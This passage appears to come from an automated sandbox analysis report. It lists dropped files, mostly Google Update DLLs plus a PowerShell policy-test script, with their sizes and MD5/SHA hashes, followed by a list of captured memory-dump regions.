          77e3bbb08c661285a49a66e8090a54f535727731c44b7253ea09ffe9548bae9d120ef38a67dfa8a5d8da170dde3e9c1928b96c64dfc07b7f67f93b478937c018

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\goopdate.dll
          Filesize

          1.9MB

          MD5

          dce0fd2b11b3e4c79a8f276a1633e9ae

          SHA1

          568021b117ace23458f1a86cd195d68de7164fa9

          SHA256

          c917ad2bf8c286ae0b4d3e9203ab3da641af4c8d332e507319ee4df914d6219c

          SHA512

          ba89867fd2bea6166b6e27c2a03a9a4759aee1affe75d592f381d9cb42facba1af1535f009a26f2613338b50de13b6576ab23c4e24d90827739f1678923ff771

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\goopdateres_am.dll
          Filesize

          42KB

          MD5

          46f8834dd275c0c165d4e57e0f074310

          SHA1

          7acbfb7e88e9e29e2dc45083f94a95a409f03109

          SHA256

          91ac6c9686d339baa0056b1260f4fd1394ce965b1957aa485e83ae73492f46b5

          SHA512

          b615fe41b226273693da423969a834b72c5148f5438e7a782d39191ad3013e2abfa10d651fa2ded878abb118e31831dc7dec51729b3235cebb2b5d7f3ba2ade1

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\goopdateres_ar.dll
          Filesize

          41KB

          MD5

          d1c81b89825de4391f3039d8f9305097

          SHA1

          ecfcf4b50dfbb460e1d107f9d21dd60030bf18c3

          SHA256

          597fe53d87f8aa43b7e2deb4a729fc77131e4a2b79dc2686e8b86cc96989428e

          SHA512

          a2be34c226c0a596efa78240984147196a4de8c93187af5835f0cec90ed89e7dffd7030cd27e7a1f1bd7f26d99322e785e195f5d41bf22e00c4af08270699642

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\goopdateres_bg.dll
          Filesize

          44KB

          MD5

          0d7125b1bda74781d8f1536e43eb0940

          SHA1

          39818cacce52ff2edfb2a065beb376d43fdb0a93

          SHA256

          00dfe30f3e747b5788f7ae89b390e63760561a411b7e39257376cd13700a1e0b

          SHA512

          c34d7405acceb7186cf63e75083981b9230d2755e207fdfd1dbce7d59a96f30ec04c28c12dbe0ed96fb595c63dec8819c08d406840787d9b9797568fbf50dec2

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\goopdateres_bn.dll
          Filesize

          44KB

          MD5

          64ed14e0070b720fcefe89e2ab323604

          SHA1

          495c858c55151e2400a1a72023aa62216033f928

          SHA256

          635f3a7fd3c1f62eb91117189ac84e1a1e5c3a8e104863d125c16e8be570e3d1

          SHA512

          4fab73de11e595c7e4edd9a66137f8e7b0b13db1799dbe4c10dd766783079d38d560c6cc1bf9af4bc1abd71f1706643bd9a31c0f58e55df3d0dd7d739e1480b7

          Download Submit

        • C:\Windows\SystemTemp\GUM40A4.tmp\goopdateres_zh-CN.dll
          Filesize

          37KB

          MD5

          3238536195c72141bf60ee15ce6413dd

          SHA1

          5d89916a8f72b9836e3e2e1eb93077b515a231e9

          SHA256

          5c0e33d4cbda0d878a48c51a7286e6ce3884ef0aa06ce4fc306b888d3e8f07f4

          SHA512

          78fcc97db95b720e1ce7fa24ec9820d784a8013f791837629021176f8ae416775ed8a25b3afbce33fc18b29de5375f3ea2818a5a345ba0ad87bc71dfb72cbe0c

          Download Submit

        • C:\Windows\Temp\__PSScriptPolicyTest_dfixshlg.idj.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          Download Submit

        • memory/8-357-0x0000000010000000-0x0000000010F95000-memory.dmp

          Filesize

          15.6MB

          Download

        • memory/8-355-0x0000000000670000-0x0000000000671000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2212-367-0x0000000000630000-0x0000000000631000-memory.dmp

          Filesize

          4KB

          Download

        • memory/2212-370-0x0000000010000000-0x0000000010F95000-memory.dmp

          Filesize

          15.6MB

          Download

        • memory/2668-414-0x000001A378310000-0x000001A378332000-memory.dmp

          Filesize

          136KB

          Download

        • memory/3460-365-0x0000000010000000-0x0000000010F95000-memory.dmp

          Filesize

          15.6MB

          Download

        • memory/3460-363-0x0000000000550000-0x0000000000551000-memory.dmp

          Filesize

          4KB

          Download

        • memory/3540-371-0x0000000000560000-0x0000000000561000-memory.dmp

          Filesize

          4KB

          Download

        • memory/3540-372-0x0000000010000000-0x0000000010F95000-memory.dmp

          Filesize

          15.6MB

          Download

        • memory/4816-211-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

          Filesize

          4KB

          Download

        • memory/4816-212-0x0000000010000000-0x0000000010F95000-memory.dmp

          Filesize

          15.6MB

          Download

        • memory/4860-360-0x0000000010000000-0x0000000010F95000-memory.dmp

          Filesize

          15.6MB

          Download

        • memory/4888-81-0x0000000010000000-0x0000000010F95000-memory.dmp

          Filesize

          15.6MB

          Download

        • memory/4888-201-0x0000000000770000-0x0000000000771000-memory.dmp

          Filesize

          4KB

          Download

        • memory/4888-202-0x0000000010000000-0x0000000010F95000-memory.dmp

          Filesize

          15.6MB

          Download